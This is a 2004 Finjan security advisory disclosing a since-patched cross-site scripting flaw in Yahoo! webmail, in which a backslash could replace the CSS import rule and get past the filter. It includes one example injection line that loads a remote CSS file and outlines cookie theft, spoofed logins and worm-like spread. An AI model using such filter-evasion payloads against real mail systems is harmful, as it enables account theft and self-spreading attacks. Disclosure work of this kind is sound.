Yahoo! E-mail Service Vulnerability

[Dror Shalev <drorshalev@xxxxxxxxxx>]

Yahoo! E-mail Service Vulnerability
 
Release Date:
August 23, 2004
 
Severity:
Critical (Potential web-based e-mail worm)
 
Systems Affected:
Other web-based e-mail systems may be vulnerable.
Internet Explorer and any software application used for reading Yahoo 
e-mail messages. 
(The ActiveX payload is relevant only for Internet Explorer)
 
Finjan Software notification sent to Yahoo! on May 24, 2004.
 
Status:
Yahoo! has already patched their Web-based e-mail services 
on July 16, 2004.
Other web-based e-mail systems may be vulnerable. 
 
 
Description:
Finjan Software identified a new critical cross site scripting vulnerability in 
Yahoo?s Web-based e-mail service.  
This vulnerability allowed hackers to develop an attack that could have caused 
significant computer damage during regular Internet use.
 

This vulnerability resulted from the failure of Yahoo?s active content filter 
to adequately block ActiveX controls and other active content components, and 
affected all Windows based system platforms that read e-mail messages using 
Yahoo Web-mail service. Active X controls are downloadable programs that run 
with the same rights and privileges as the user, allowing access to files and 
personal information stored on a local hard drive or shared folder.  A no-click 
attack could have launched automatically once a user opened an e-mail message.  
For example, the vulnerability could have also potentially allowed a worm to 
read Windows address book, replicate and send itself to everyone in the address 
book, and have this process repeat at an exponential rate.  It could have also 
harvested email addresses from local files, just like any other worm, and use 
the Yahoo web-mail vulnerability to send the email messages. Other web-based 
e-mail systems may be vulnerable to this vulnerability. 

 
 
Technical details:
The potential worm could do anything that the user could do. 
It is a potentially automatic attack. 
Users had to simply read the infected email message.
This was a cross-site scripting vulnerability of the Yahoo! Web-based e-mail 
service. 
There are two variants of this vulnerability.
The purpose of Yahoo's active content filter is to block the injection of any 
active content into Yahoo! messages. 
However, the basic failure that allowed this vulnerability is that there was no 
blocking of a backslash that is used instead of the import rule. 

An example:
<style><!--@\ "http://www.finjan.com/mcrc/file.css";--></style>

The injected JavaScript code inside the CSS file is responsible for:

-Getting cookies.
-Automatic launching of malicious code.
-A possible identity theft using a spoofed re-login window.
-Sending an e-mail message.
The injected ActiveX control can be used for a destructive payload of the 
propagating worm. 
The basic attack does not require an ActiveX control. 
The ActiveX control is the payload that can be used to extend the attack to 
non-web mail users, or to perform any malicious activity, including formatting 
of the hard disk.
Upon using the ActiveX control, end user may get a security warning. 
It depends on the security setting of the browser. 

An example: 
http://www.finjan.com/SecurityLab/SecurityTestingCenter/activex.asp
(Click on the 'test me' button after reading the disclaimer)

Credit:
Bitlance Winter provided the initial tip.
Finjan Software's  Malicious Code Research Center (MCRC) has expanded it.
 
Protection:
This specific vulnerability has been eliminated by Yahoo based on Finjan 
Software notification. 
Finjan's content security products provided proactive defense against this 
Yahoo! vulnerability prior to its detection and correction.
Finjan's patented behavior blocking engine will protect computer users from 
similar future vulnerabilities and comparable potential exploits.
 
 
 
Credit: Bitlance Winter , Dror Shalev and Menashe Eliezer.
 
 
Finjan Software  
Malicious Code Research Center (MCRC) department   
http://www.finjan.com/mcrc
Prevention is the best cure!